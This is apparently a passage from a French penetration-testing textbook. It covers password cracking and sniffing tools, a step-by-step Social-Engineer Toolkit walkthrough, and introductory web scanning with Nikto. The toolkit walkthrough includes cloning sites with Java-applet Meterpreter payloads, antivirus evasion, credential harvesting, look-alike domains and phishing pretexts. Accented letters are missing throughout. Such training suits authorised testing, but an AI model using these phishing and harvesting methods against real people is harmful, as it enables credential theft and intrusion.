craqueurs de mots de passe en ligne. En parallle de votre dictionnaire de mots de passe personnel, vous devez construire une liste de noms dutilisateurs et de mots de passe par dfaut pour diffrents priphriques rseau. Au cours de votre progression en tant que testeur dintrusion, vous risquez dtre surpris par le nombre de priphriques qui utilisent encore un nom dutilisateur et un mot de passe par dfaut, par exemple les routeurs, les commutateurs, les modems ou les pare-feu. Il nest pas rare de lire des rcits de testeurs dintrusion qui ont t capables dobtenir un contrle total sur un routeur de primtre et de rediriger tout le trafic interne et externe simplement parce que ladministrateur de la socit avait oubli de changer le nom dutilisateur et le mot de passe par dfaut. Il ne sert rien de perdre du temps configurer et scuriser votre appareil si vous oubliez de changer le nom dutilisateur et le mot de passe. Vous pourrez trouver en ligne des listes de noms dutilisateurs et de mots de passe par dfaut qui feront de bons points de dpart. RainbowCrack est un autre bon outil de craquage des mots de passe. Il se fonde sur des tables Rainbow, qui sont des listes dj tablies de mots de passe chiffrs. Rappelons que les outils de craquage de mots de passe classiques, comme John the Ripper, mettent en place une procdure en trois tapes. Un tel outil commence par gnrer un mot de passe potentiel, puis cre une version chiffre de ce mot de passe et, finalement, la compare au hash du mot de passe. Les tables Rainbow sont beaucoup plus efficaces car elles exploitent des mots de passe dj chiffrs. Cela signifie que la procdure de craquage se rduit une seule tape : comparer des mots de passe chiffrs. De nombreux outils performants peuvent tre employs pour lcoute du rseau. Nous vous conseillons fortement de passer du temps matriser Wireshark, dont nous avons prsent uniquement les bases. Vous devez apprendre utiliser les filtres, suivre les flux de donnes et examiner les informations provenant de paquets particuliers. Ds que vous tes laise avec Wireshark, plongez-vous dans dsniff. Nous lavons dj

mentionn, cette suite propose un trs grand nombre doutils exceptionnels. Avec un peu de pratique et de travail personnels, vous saurez comment intercepter le trafic chiffr, comme celui de SSL. Noubliez pas galement dapprendre utiliser tcpdump. Il vous permettra de capturer et de visualiser un trafic rseau partir dun terminal, pour le cas o une interface graphique nest pas disponible. Ettercap est un autre outil fantastique, aux nombreuses fonctionnalits et possibilits. Il permet de mener des attaques du type "homme du milieu". Il trompe les clients en envoyant un trafic rseau au travers de la machine dattaque. Cela permet dobtenir des noms dutilisateurs et des mots de passe partir des machines du rseau local. Aprs que vous aurez tudi et utilis Wireshark, dsniff, tcpdump et Ettercap, vous disposerez de tout le ncessaire pour matriser les bases de lcoute rseau. Lorsque votre utilisation de base de Metasploit sera au point, vous devrez consacrer du temps la charge Meterpreter. Il existe des dizaines doptions, de commandes et de faons dinteragir avec Meterpreter. Vous devez les tudier et les mettre en pratique. Vous tirerez un bnfice exceptionnel en apprenant contrler cette charge tonnante. Il est important que vous sachiez que lassociation de Metasploit et de Meterpreter est lune des meilleures armes pour le testeur dintrusion novice. Ne sous-estimez pas cet outil puissant. Nous reviendrons plus en dtail sur Meterpreter au cours de la phase 4, lors de la prsentation de la postexploitation. Jusqu prsent, seules des attaques automatises ont t dcrites. Bien quil puisse tre trs amusant dappuyer sur des boutons pour pirater les systmes distants, si vous ne dpassez pas ce stade vous ne serez jamais quun script kiddie . Au dbut, nous commenons tous par nous reposer sur dautres personnes pour dvelopper et produire des outils dexploitation. Mais, pour faire partie de llite, vous devrez apprendre lire, crire et crer vos propres exploits. Si cette tche peut vous sembler intimidante, elle devient de plus en plus facile avec lacquisition

de connaissances. La dcouverte des dbordements de tampon sera un bon point de dpart. Si vous ne trouvez pas un exploit pertinent dans Metasploit, faites une recherche sur Exploit-DB. Il sagit dun dpt public pour les exploits et le code PoC ( Proof of Concept). Le code dun exploit peut souvent tre tlcharg, ajust et lanc avec succs sur le systme cible. Pour les dbutants, les dbordements de tampon, qui se fondent sur la pile et le tas et qui sont lorigine de nombreux exploits, ressemblent souvent de la magie. Cependant, avec un travail personnel srieux, ces sujets deviendront plus clairs, voire matriss. Pour augmenter votre niveau de connaissance au point dtre capable de trouver des dbordements de tampon et dcrire du code shell, il vous faudra passer par des apprentissages supplmentaires. Bien quils ne soient pas strictement ncessaires, cela vous permettra davancer plus facilement dans la matrise de lexploitation. Si vous en avez la possibilit, consacrez du temps apprendre un langage de programmation comme le C. Ds que vous tes laise avec ce langage, passez aux bases de lassembleur. Avec une bonne connaissance de ces sujets, vous connatrez le secret des tours de magie que voient ceux qui rencontrent pour la premire fois les dbordements de tampon. Enfin, nous vous encourageons vous former un langage de script. Python et Ruby font dexcellents candidats. Ils vous aideront automatiser les outils et les tches.

En rsum
Ce chapitre sest focalis sur la phase 3 de notre mthodologie de base : lexploitation. Pour les dbutants, elle quivaut souvent au vritable hacking. Puisque lexploitation est un sujet vaste, ce chapitre a dcrit plusieurs mthodes qui permettent de mener bien cette phase,

notamment lutilisation du craqueur de mots de passe en ligne Medusa pour obtenir un accs un systme distant. Lexploitation des vulnrabilits distantes laide de Metasploit a galement t explique, ainsi que les diffrentes charges utilisables. John the Ripper a servi de rfrence pour le craquage local des mots de passe. Nous avons galement prsent un outil de rinitialisation des mots de passe que le testeur dintrusion peut utiliser sil na pas le temps dattendre les rsultats dun craqueur de mots de passe. Wireshark a t employ pour couter les donnes qui passent par le rseau et macof a servi dans le contexte dun rseau commut. Enfin, Armitage a t utilis comme outil tout en un pour la phase dexploitation.

5 Ingnierie sociale

Introduction
Ce chapitre va se focaliser sur ce que vous avez appris au Chapitre 2 et dvelopper vos connaissances de lingnierie sociale. Vous dcouvrirez galement limportance de la cration dun vecteur dattaque crdible. Lingnierie sociale fait partie des techniques les plus simples pour obtenir un accs une entreprise ou un ordinateur individuel ; mais elle peut galement tre lune des plus exigeantes si vous ne prparez pas suffisamment votre attaque de la cible et des victimes. Un expert en ingnierie sociale passera du temps peaufiner ses prtextes (vecteurs dattaque) et formuler une histoire dans laquelle chaque dtail compte. Cette attaque doit tre suffisamment crdible pour que la cible nait pas de soupon et quaucune alarme ne soit dclenche pendant que lhistoire devient ralit. Lun de mes contrats dingnierie sociale prfrs a concern une attaque contre lune des mille plus grandes entreprises. Langle retenu tait lexpiration des avantages mdicaux si lemploy ne signait pas un formulaire. Il sagit dune attaque parfaite car elle joue sur les motions humaines tout en restant dans le contexte dun comportement normal et des attentes dun employ. Pour mener lattaque, quatre personnes seulement ont t cibles (afin de ne pas dclencher lalarme). Le taux de russite a atteint 100 %. Ces rsultats dpendent uniquement des efforts et du temps passs rendre le scnario crdible. SET ( Social-Engineer Toolkit) est un outil qui aide automatiser certaines techniques extrmement complexes et rendre les attaques crdibles. Il sagit uniquement dun outil. Vous pouvez voir SET comme une pe. Sa bonne utilisation dpend des connaissances de lescrimeur et de sa comprhension technique. Savoir personnaliser SET et lutiliser sa pleine capacit vous permettront darriver des taux de russite levs lors des attaques par ingnierie sociale. SET est un framework dexploitation purement consacr lingnierie sociale. Il permet de crer rapidement des vecteurs dattaque labors

sans ncessiter de grandes comptences en programmation ou des annes de formation. SET est devenu le standard pour les testeurs dintrusion, une mthode dattaque des entreprises et un moyen de dterminer leur rsistance une telle attaque.

Les bases de SET


Vous le savez, dans Kali la structure des dossiers fait que les binaires sont placs dans /usr/bin/<nom de loutil> et que les fichiers dune application se trouvent dans /usr/share/<dossier de loutil>. SET nchappe pas la rgle et est install dans le rpertoire /usr/share/set. Il peut tre lanc partir de la ligne de commande : se-toolkit Nous arrivons alors son interface principale, qui propose plusieurs options (voir Figure 5.1).

Figure 5.1 Les menus de SET.

SET est un systme base de menus qui permet de personnaliser lattaque envisage. Vous pouvez galement modifier le fichier de configuration /usr/share/set/config/set_config afin dadapter le fonctionnement de SET vos prfrences. laide des options 4 et 5 du menu, nous pouvons actualiser Metasploit et SET. Loption 1 nous conduit aux attaques dingnierie sociale, tandis que loption 2 permet daccder directement aux outils dexploitation par lintermdiaire du menu FastTrack. Nous allons nous concentrer sur loption 1, qui donne accs aux attaques par ingnierie sociale. Si vous souhaitez reproduire lexemple, appuyez sur la touche 1 pour arriver lcran illustr la Figure 5.2.

Figure 5.2 lintrieur du menu des attaques par ingnierie sociale. Le menu recense les diffrentes possibilits dattaque par ingnierie sociale. Examinons rapidement les vecteurs dattaque. Puisque nous enseignons les bases, nous nallons pas dtailler chacun deux, mais une

vue densemble vous aidera. Les attaques de type Spear-Phishing, une variante de lhameonnage, correspondent des courriers lectroniques forgs de manire spcifique avec des pices jointes malveillantes. Les actualits en parlent souvent, mais ces vecteurs dattaque peuvent tre trs difficiles arrter. Par exemple, la majorit des exploits qui proviennent dAdobe, dOffice et dautres sont gnralement rapidement corrigs et presque instantanment dtects par les antivirus lors de leur sortie. En tant quassaillants, et en particulier en tant que testeurs dintrusion qui se rendent dans une entreprise, nous navons en gnral droit qu un seul coup. Les exploits eux-mmes sont extrmement spcifiques dans leurs variantes. Prenons un exemple. En 2013, Scott Bell a publi un module Metasploit pour une vulnrabilit dInternet Explorer lie au drfrencement dun pointeur aprs la libration de la zone de mmoire correspondante. En utilisant lexploit dInternet Explorer, une simple navigation sur le site web malveillant pouvait compromettre lordinateur. Cet exploit incroyable tait un trs bon exemple de prcision et de travail de recherche. Son seul problme tait de ne fonctionner quavec Internet Explorer 8 sur Windows XP SP3 (voir Figure 5.3).

Figure 5.3 La cible est uniquement IE 8 sur Windows XP SP3. Notez que le travail de Scott a t incroyable. Ne sous-estimez jamais le travail et le gnie ncessaires dcouvrir et utiliser un tel exploit. Cependant, comme nous lavons mentionn, la plupart des exploits sont fortement lis aux versions. En effet, les dernires versions dInternet Explorer bnficient de mcanismes de protection supplmentaires et les exploits se fondent sur certaines adresses de mmoire. Chaque version dInternet Explorer et de Windows (sans mme mentionner les Service Packs) utilise des adresses de mmoire diffrentes. Autrement dit, pour

quun exploit soit oprationnel, il doit tre spcifiquement conu pour un systme dexploitation, une version dInternet Explorer et un Service Pack. Sil doit fonctionner sur plusieurs autres plateformes, il faut passer un temps important son adaptation. Il existe des exemples dexploits "universels" qui tirent profit dadresses de mmoire communes ou partages. Cest le cas de lexploit zero-day de Microsoft Word (http://www.exploit-db.com/exploits/24526/), propos en 2013 par Chris "g11tch" Hodges, qui fonctionne sur plusieurs plateformes. Il peut reprsenter une bonne solution pour cibler une entreprise mais, si vous le soumettez VirusTotal, vous constaterez quil est dtect par un grand nombre dantivirus. Il faudrait alors masquer normment notre code afin de contourner les protections de base mises en place par les entreprises. En raison de tous ces obstacles, nous avons souvent besoin en ingnierie sociale demprunter une route qui, nous le savons, nous mnera destination. Une attaque Spear Phishing pourra russir condition de tout connatre de la cible. Se contenter de joindre un document PDF ou Word qui contient des exploits a trs peu de chances de russir.

Sites web en tant que vecteurs dattaque


Lun des vecteurs dattaque phares de SET est accessible au travers de larticle de menu Website Attack Vectors. Les attaques proposes dans ce groupe ont de grandes chances de succs et profitent de la crdulit des gens. Le choix de loption 2 ouvre le menu illustr la Figure 5.4.

Figure 5.4 Liste des vecteurs dattaque de type site web. Nous allons nous focaliser sur les attaques intitules Java Applet Attack Method et Credential Harvester Attack Method. La premire est une attaque qui ne profite pas du dernier exploit la mode, mais se fonde sur la conception de Java. Ce langage est utilis pour crer des applications compltes appeles applets. Ces applets sont souvent employes dans des applications en production dans le monde entier. Par exemple, WebEx de Cisco se sert des applets Java pour lancer un systme de confrences en ligne. Les applets sont extrmement frquentes dans les applications web et constituent des prtextes hautement crdibles. Choisissez loption 1, puis loption 2 pour Site Cloner. SET va automatiquement se rendre sur une page web, la cloner, la rcrire avec une applet Java malveillante, rcrire la page web pour injecter lapplet, configurer un serveur web et crer de multiples charges, tout cela en quelques minutes. Aprs avoir choisi larticle Site Cloner, nous devons saisir no en rponse la question qui demande si nous utilisons NAT ou la redirection de port. Cette fonctionnalit ne doit tre employe que si vous vous trouvez derrire un routeur et que la redirection des ports est active. Nous indiquons ensuite ladresse IP de notre machine (la machine dattaque),

comme lillustre la Figure 5.5.

Figure 5.5 Saisir ladresse IP de la machine dattaque. Nous devons ensuite prciser la page cloner. Dans notre exemple, nous choisissons https://www.trustedsec.com comme cible. Vous devez constater sa copie, puis arriver un menu de slection des charges (voir Figure 5.6).

Figure 5.6 Choisir une charge dans SET. Choisissez celle qui vous convient le mieux. La charge SE Toolkit Interactive Shell est intgre SET et constitue une bonne alternative Meterpreter, mme si elle ne propose pas autant de fonctionnalits. Mes vecteurs dattaque prfrs sont PyInjector et MultiPyInjector. Trs souvent, les antivirus reprent les binaires statiques, et la plupart des charges Meterpreter prdfinies sont dtectes. Pour contourner cela, Dave Kennedy a cr PyInjector et MultiPyInjector, qui injectent un shellcode directement dans la mmoire, sans toucher au disque. Les antivirus sont ainsi souvent djous et nous disposons alors dun shell Meterpreter sans crainte dtre dtect. Slectionnez loption 15, cest-dire larticle PyInjector Shellcode Injection. Conservez le port par dfaut [443], qui sera utilis pour la connexion de retour (voir Chapitre 4). Choisissez ensuite loption 1, qui correspond la charge Windows Meterpreter Reverse TCP. Pendant lopration, lcran doit ressembler celui illustr la Figure 5.7.

Figure 5.7 Lattaque est en cours de gnration.

Aprs que lapplet Java a t accepte, SET opre en plaant plusieurs mthodes dattaque de la cible. La premire consiste utiliser une technique dinjection PowerShell imagine initialement par Matthew Graeber (http://www.exploit-monday.com/2011/10/exploitingpowershells-features-not.html). Elle permet dutiliser PowerShell de faon injecter un shellcode directement en mmoire, sans passer par le disque. Outre cette technique, SET applique galement une attaque PowerShell Execution Restriction Bypass publie lorigine lors de la confrence Defcon 18 (http://www.youtube.com/watch? v=JKlVONfD53w) par David Kennedy (ReL1K) et Josh Kelley (winfang). La combinaison de ces deux attaques est trs efficace pour lexcution dun code distant sur un systme. La seconde mthode correspond au PyInjector choisi prcdemment.

Une fois le chargement de SET termin, il lance automatiquement Metasploit. Vous devez obtenir un rsultat comparable celui de la Figure 5.8.

Figure 5.8 Arrive dans Metasploit.

Nous utilisons ensuite la machine Windows cible et allons sur le site web malveillant clon (qui sexcute sur notre machine Kali) en saisissant ladresse IP de la machine dattaque dans le champ dURL du navigateur de la machine cible. Le rsultat est illustr la Figure 5.9.

Figure 5.9 La fentre dactivation de lapplet Java. Cochez la case Jaccepte le risque..., puis cliquez sur Excuter et revenez sur la machine Kali. Vous devez avoir obtenu plusieurs shells Meterpreter. Ds que la victime a cliqu sur Excuter, elle est redirige vers le site web dorigine et ne saperoit pas que quelque chose sest produit. Par ailleurs, si elle dcide de cliquer sur Annuler, lapplet rapparat et lui interdit de fermer le navigateur. La seule solution est daller dans le gestionnaire des tches et de tuer le navigateur ou de cliquer sur

Excuter. Cette attaque est extrmement efficace et contourne la plupart des antivirus disponibles aujourdhui. De plus, toutes les deux heures, de nouvelles charges camoufles et chiffres sont automatiquement gnres et intgres SET. Assurez-vous de toujours disposer de sa dernire version. Attention Mettez toujours jour SET avant de lutiliser ! Dave sen occupe en permanence. Vous recevrez de nouvelles charges chiffres au moins toutes les deux heures. Cela peut se rvler extrmement pratique pour contourner les antivirus. Ce vecteur dattaque est trs efficace, mais quelques points doivent toutefois tre souligns. Tout dabord, nous devons cloner ou crer un site web qui peut paratre crdible auprs de la socit vise. Dans cet exemple, si nous ciblons TrustedSec, nous pouvons cloner un portail des ressources humaines, un site web externe, un systme de gestion du temps ou tout autre systme auquel ils peuvent tre habitus. Par ailleurs, le dtournement du site web est clairement indiqu par ladresse IP indique dans la barre dURL (voir Figure 5.10).

Figure 5.10

Notez ladresse IP lors de lutilisation du site web. Pour que lattaque soit plus crdible, il pourra tre utile denregistrer un nom de domaine (pour un prix denviron 10 euros) qui ressemble celui du site web de la cible (TrustedSec.com). Par exemple, si nous clonons un site web de Trusted-Sec dadresse webportal.trustedsec.com, nous pouvons essayer avec le nom de domaine webportal-trustedsec.com. Lutilisateur final verra-t-il la diffrence ? Il est probable que non. Le plus important est de ne jamais oublier que le vecteur dattaque doit tre crdible. Vous vous demandez peut-tre comment amener les utilisateurs se rendre sur le site web dtourn. Dans lexemple prcdent, nous avons choisi une arnaque aux bnfices afin de crer un sentiment durgence. Tout scnario de ce type peut constituer un bon point de dpart. Noubliez pas que, pour russir, il faut mettre en place les tapes suivantes : 1. Installer SET et le prparer pour toutes les configurations (vrifier que SET a accs Internet). 2. Enregistrer un nom de domaine qui peut paratre crdible. 3. Envoyer un courrier lectronique la socit sous un prtexte crdible et y inclure un lien vers le nom de domaine malveillant. 4. Obtenir des shells. Plus vous consacrerez du temps et des efforts la reconnaissance de lentreprise, plus lattaque aura des chances de russir. Dernier point : puisquil se fonde sur Java, SET est capable de cibler nimporte quelle plateforme, notamment Linux, Mac OS X et Windows. Par ailleurs, peu importe la version ou le correctif de Java install.

Le moissonneur dinformations de connexion

la section prcdente, nous avons mis en place une attaque par applet Java. Dans la rubrique des vecteurs dattaque de type site web, vous trouvez galement une attaque appele "moissonneur dinformations de connexion" ( credential harvester). Elle consiste galement cloner un site web et envoyer un courrier lectronique une victime afin dessayer dobtenir ses informations de connexion. Pour la mise en place de cette attaque, il est fortement conseill denregistrer un nom de domaine comparable celui de la cible et dinstaller un certificat SSL valide sur le site web afin dutiliser le protocole HTTPS. En effet, les utilisateurs sont souvent prvenus de ne pas faire confiance aux sites qui utilisent HTTP. Dans le menu Website Attack Vectors, choisissez loption 3, "le moissonneur dinformations de connexion", et slectionnez Site Cloner. Saisissez ensuite ladresse IP de votre machine dattaque et clonez nimporte quel site web, par exemple https://gmail.com. Au terme de cette opration, utilisez une machine cible pour aller sur le site web clon et saisissez les informations de connexion pour ouvrir une session. La Figure 5.11 illustre le site web clon.

Figure 5.11 Saisir les informations de connexion sur le faux site web Gmail. Aprs avoir saisi son nom et son mot de passe, lutilisateur est redirig vers le site web Gmail lgitime. Revenez votre machine dattaque (sur laquelle sexcute SET) pour voir le nom dutilisateur et le mot de passe saisis. La Figure 5.12 montre les informations de connexion obtenues.

Figure 5.12 Les informations de connexion moissonnes sur le site web. Nous disposons prsent du nom dutilisateur et du mot de passe de lutilisateur Gmail affect. Pour que ce soit bien clair, dans cet exemple nous nallons pas, en tant que testeurs dintrusion, rellement viser Gmail ; cela naurait aucun sens. Nous devons cibler un serveur Exchange, un portail extranet ou tout site crdible sur lequel lutilisateur saisira son nom et son mot de passe, que nous pourrons utiliser ensuite pour accder des ressources sensibles de lentreprise. Avec ce vecteur dattaque, mon approche prfre est lenqute de satisfaction dun employ. Le courrier lectronique commence par expliquer que, pour

amliorer la position de la socit, elle envoie un questionnaire de satisfaction aux employs. Les cinquante premiers employs qui complteront le questionnaire recevront en rcompense un iPhone et cela ne prendra quune minute. Tout le monde veut son iPhone gratuit : clics sur le lien, informations de connexion saisies et boum ! O est mon iPhone ? Cette attaque est performante, mais pourquoi ne pas la combiner avec lattaque par applet Java ? SET la prvu ! Loption 7 du menu Website Attack Vectors permet dutiliser autant de vecteurs dattaque web que souhait. Si vous voulez que la victime soit tout dabord touche par une attaque par applet Java, puis quelle entre ses informations de connexion, cette option permet dinclure plusieurs attaques dans un seul site web. Cette approche peut amliorer le taux de russite car si un vecteur dattaque choue les autres mthodes offriront des solutions de repli. Noubliez pas que vous naurez peut-tre quune seule occasion de lancer votre attaque et que vous devez donc tre prpar et avoir rflchi chaque scnario.

Autres options de SET


Revenons au menu principal des attaques par ingnierie sociale illustr la Figure 5.13.

Figure 5.13 Le menu des attaques par ingnierie sociale. Ce menu propose de nombreux autres vecteurs dattaque. En particulier, loption 3 permet de crer une cl USB qui contient une charge malveillante. Lorsquelle est branche un ordinateur, un script excution automatique est lanc et excute la charge. Linconvnient de cette attaque est que la cible doit tre configure de manire autoriser lexcution automatique, ce qui nest pas le cas dans la plupart des entreprises. Loption 4 permet de crer une charge et un couteur. Elle sera utile si vous avez dj accs un ordinateur et souhaitez dployer lune des charges SET les plus discrtes afin de mieux contourner les antivirus. Il suffit de crer la charge, de copier le fichier, de lexcuter et de le laisser se connecter automatiquement lcouteur. Loption 5 permet denvoyer des courriers lectroniques en masse partir dune liste dadresses. La procdure est simple mais elle prend en charge le courrier HTML et lenvoie en masse vers une entreprise.

Loption 6, les vecteurs dattaques Arduino, fait partie de mes prfres. Arduino est une variante de C qui permet de programmer des microcontrleurs. Un appareil de prjc.com, nomm Teensy, peut tre programm pour se comporter comme nimporte quel priphrique. SET permet de programmer cette carte pour quelle opre comme une souris et un clavier. Ds que cest fait, il suffit de la brancher un ordinateur. Elle ne dpend pas de la configuration de la fonctionnalit dexcution automatique car elle mule un clavier. Elle en profite pour ouvrir une porte drobe sur lordinateur. Cette technique incroyablement puissante permet dobtenir un contrle total et dutiliser la machine avec un shell Meterpreter complet. Cette option offre galement de nombreuses autres attaques et charges. Loption 7 permet de parodier des messages SMS partir du moment o vous disposez dun compte chez les fournisseurs. Loption 8 donne la possibilit de crer un point daccs Wi-Fi partir de notre ordinateur, en incluant des serveurs DHCP et DNS. Lorsque la victime tente daller sur un site web, elle est redirige vers notre ordinateur avec les attaques SET. Nous pouvons crer un portail captif qui prcise que les applets Java doivent tre autorises avant de poursuivre. Cette option est parfaitement adapte aux grandes socits. Loption 9 nous permet de crer notre propre QRCode, qui, une fois scann, redirige la machine vers lordinateur SET dattaque. La Figure 5.14 donne un exemple qui dirige le navigateur cible vers TrustedSec.

Figure 5.14 Crer un QRCode laide de SET. Loption 10 propose des vecteurs dattaque PowerShell. Nous avons brivement mentionn PowerShell dans la section sur lattaque par applet Java, mais sachez que cet outil est extrmement puissant. Il est parfaitement adapt la postexploitation et de nombreuses personnes comptentes, comme Carlos Perez, Matthew Graeber, Josh Kelley et

David Kennedy, ont men des dveloppements intressants de ce ct-l. Plusieurs des attaques ont t incluses dans SET. Il sagit de morceaux de code qui peuvent tre excuts aprs la compromission dun systme. SET se charge de gnrer automatiquement le code notre place et de le rcrire afin de contourner les politiques de restriction dexcution.

En rsum
SET est un outil extrmement puissant qui permet de cibler lune des principales faiblesses de tout dispositif de scurisation des informations : les utilisateurs. Il est souvent assez simple dappeler une personne au tlphone et de la persuader de se rendre sur un site web qui va infecter son ordinateur et le compromettre intgralement. Comme nous lavons mentionn prcdemment, nous pouvons galement forger des courriers lectroniques crdibles qui lincitent cliquer sur un lien. Le succs de lingnierie sociale repose souvent sur la vraisemblance et la crdulit. SET facilite la cration dattaques efficaces. Noubliez pas dactualiser SET de faon rgulire car des mises jour apparaissent toutes les deux heures.

6 Exploitation web

Introduction
Les fondamentaux des attaques fondes sur le rseau doivent prsent tre compris. Nous pouvons donc passer aux bases de lexploitation web. Le Web constitue certainement lun des principaux vecteurs dattaque disponibles aujourdhui, car tout est connect Internet. Pratiquement toutes les socits disposent dune prsence web et, le plus souvent, elle est dynamique et propose une interaction avec lutilisateur. Les sites web de gnration prcdente comprenaient des pages statiques simples codes essentiellement en HTML. Aujourdhui, ils se fondent pour la plupart sur du code complexe, avec des connexions des bases de donnes et plusieurs niveaux dauthentification. Les ordinateurs personnels, les tlphones, divers appareils et, bien entendu, les systmes qui appartiennent nos cibles sont tous connects Internet. Avec notre dpendance envers le Web toujours plus grande, la ncessit de comprendre lexploitation de ce vecteur dattaque augmente galement. Ces dernires annes ont vu surgir des expressions comme "Web 2.0" ou "informatique en nuage" pour dcrire une nouvelle manire dinteragir avec les systmes et les programmes. En bref, ces expressions reprsentent un changement dans la faon dont les programmes informatiques sont conus, excuts, accds et enregistrs. Quels que soient les termes employs, Internet devient de plus en plus "excutable". Il tait habituel que des programmes comme Microsoft Office soient installs en local sur lordinateur. Aujourdhui, les fonctionnalits offertes par de tels programmes sont accessibles en ligne, notamment sous la forme de Google Docs et dautres services informatiques du Cloud. Dans de nombreux cas, linstallation locale nexiste pas et nos donnes, nos programmes et nos informations rsident sur le serveur, dans un lieu physique loign. Nous lavons mentionn prcdemment, les entreprises exploitent galement la puissance dun Web excutable. Les banques, les achats et

la comptabilit en ligne sont aujourdhui des lieux communs. Tout est interconnect. Par de nombreux aspects, Internet ressemble un nouveau Far West. Juste au moment o il semblait que nous faisions de vritables progrs et des changements fondamentaux dans la faon de programmer et de concevoir les logiciels, Internet est arriv, avec une nouvelle faon de rapprendre et de rpter de nombreuses leons de scurit du pass. En raison de lempressement tout mettre sur le Web et rendre les systmes accessibles depuis le monde entier, de nouvelles attaques ont t dveloppes et distribues un rythme effrn. Il est important que tout aspirant hacker et testeur dintrusion comprenne au moins les bases de lexploitation web.

Les bases du hacking web


Au chapitre prcdent, nous avons prsent Metasploit en tant que framework dexploitation. Un framework nous apporte une approche standardise et structure pour lattaque des cibles. Il existe plusieurs frameworks pour le hacking des applications web, notamment w3af, Burp Suite, Zed Attack Proxy (ZAP) dOWASP, Websecurify et Paros. Quel que soit loutil retenu, hormis de subtiles diffrences (tout au moins du point de vue des bases), ils offrent tous une fonctionnalit comparable et constituent un excellent vhicule pour les attaques sur le Web. Lide de base est demployer le navigateur de la mme manire que pour la visite dun site web, mais en envoyant tout le trafic au travers dun proxy. De cette manire, nous pouvons collecter et analyser toutes les requtes, ainsi que les rponses fournies par lapplication web. Ces botes outils fournissent diverses fonctionnalits, mais elles se rsument essentiellement trois ides principales : 1. La possibilit dintercepter les requtes leur sortie du navigateur. Lutilisation dun proxy dinterception est essentielle car il permet de modifier les valeurs des variables avant quelles narrivent lapplication web. Ce proxy

dinterception est un outil phare inclus dans la plupart des frameworks de hacking web. Lapplication hberge sur le serveur web accepte les requtes mises par le navigateur et renvoie des pages en fonction de ces requtes entrantes. Les variables qui accompagnent la requte en sont un lment important. Elles dterminent les pages renvoyer lutilisateur, par exemple les produits ajouts un panier dachat, les informations bancaires rcuprer, les rsultats sportifs afficher et pratiquement nimporte quel autre lment de fonctionnalit du Web actuel. Il est essentiel de comprendre que, en tant quassaillant, nous avons la possibilit dajouter, de modifier ou de supprimer des paramtres dans ces requtes. Par ailleurs, cest lapplication web de dterminer ce quelle doit faire des requtes malformes. 2. La possibilit de rechercher toutes les pages web, les rpertoires et les autres fichiers qui constituent lapplication web. Lobjectif est davoir une meilleure comprhension de la surface dattaque. Cette fonctionnalit est apporte par les outils dexploration automatiss. La manire la plus simple de dcouvrir tous les fichiers et pages dun site web consiste passer une URL un robot dindexation. Sachez toutefois quun robot dindexation web va gnrer des centaines, voire des milliers, de requtes sur le site web cible et que cette activit nest donc aucunement discrte. Le code HTML des rponses renvoyes par lapplication web est analys afin dy trouver des liens supplmentaires. Tout nouveau lien dcouvert est ajout la liste des cibles, explor, catalogu et analys. Le robot poursuit ses requtes jusqu ce que la liste des liens dcouverts soit vide. Dans la plupart des cas, cette approche permettra de couvrir la plus grande partie de la surface dattaque web. Cependant, elle va galement mettre des requtes pour nimporte quel lien trouv. Si nous avions ouvert une session sur lapplication web avant de lancer

lindexation et si le robot trouve un lien de dconnexion, il dclenchera cette opration sans autre avertissement. Cela nous empchera de dcouvrir du contenu supplmentaire qui nest disponible quaux utilisateurs authentifis. Vous devez tre conscient de cet inconvnient afin de savoir de quelles zones du site web provient le contenu dcouvert. Il est galement possible dindiquer des rpertoires ou des chemins sur le site web cible avant de lcher le robot dindexation. Cette fonctionnalit apporte un meilleur contrle sur son comportement. 3. La possibilit danalyser les rponses renvoyes par lapplication web et dy rechercher des vulnrabilits. Cette procdure est comparable la manire dont Nessus recherche des vulnrabilits dans les services rseau. Nous appliquons lide aux applications web. En changeant les valeurs des variables laide du proxy dinterception, lapplication web nous rpond dune manire adapte. Lorsquun outil de scan envoie des centaines ou des milliers de requtes malveillantes une application web, celle-ci doit rpondre de manire approprie. Ces rponses sont analyses afin de trouver des signes de vulnrabilit au niveau de lapplication. De nombreuses vulnrabilits des applications web sont identifies par de simples signatures et un outil automatis convient donc parfaitement ce travail. Il existe videmment dautres vulnrabilits qui ne seront pas remarques par un scanner automatique, mais nous nous intressons essentiellement aux "fruits les plus faciles cueillir". Les vulnrabilits trouves laide dun scanner web automatique font en ralit partie des familles dattaques web les plus employes aujourdhui : injection SQL, XSS ( Cross-Site Scripting) et manipulation dun chemin de fichier (ou directory traversal).

Nikto

Si notre scan des ports nous a permis de dcouvrir un service qui sexcute sur le port 80 ou le port 443, lun des premiers outils employer pour valuer ce service se nomme Nikto. Il sagit dun scanner de vulnrabilits des serveurs web. Cet outil a t dvelopp par Chris Sullo et David Lodge. Il automatise le scan des serveurs web la recherche dune version obsolte ou non corrige, ainsi que de fichiers dangereux qui pourraient se trouver sur le serveur. Nikto est capable didentifier divers problmes spcifiques et de vrifier les dfauts de configuration du serveur. La version courante de Nikto est intgre Kali. Si vous nutilisez pas cette distribution Linux ou si Nikto nest pas install sur votre machine, vous pouvez le trouver en tlchargement ladresse http://www.cirt.net/Nikto2. Vous pouvez galement procder son installation laide de la commande apt-get install nikto. Pour excuter Nikto, il faudra galement que Perl soit install. Pour connatre les diffrentes options disponibles, excutez la commande suivante depuis un terminal dans Kali : nikto Chaque option est accompagne dune courte description. Pour lancer un scan de vulnrabilits contre une cible, nous devons indiquer ladresse IP correspondante laide de loption -h, ainsi que le numro du port avec loption -p. Nikto est capable de scanner des ports uniques, des ports multiples ou des plages de ports. Par exemple, pour effectuer un scan dun serveur web sur tous les ports de 1 1 000, il suffit dexcuter la commande suivante : nikto -h 192.168.56.102 -p 1-1000 Pour scanner plusieurs ports non contigus, chacun doit tre spar par une virgule : nikto -h 192.168.56.102 -p 80,443

Si nous ne prcisons aucun numro de port, Nikto scanne uniquement le port 80 de la cible. Pour enregistrer la sortie produite en vue dune analyse ultrieure, nous indiquons le chemin du fichier de sauvegarde et son nom laide de loption -o. La Figure 6.1 prsente le rsultat dun scan par Nikto.

Figure 6.1 Les rsultats dun scan de vulnrabilits effectu par Nikto.

w3af

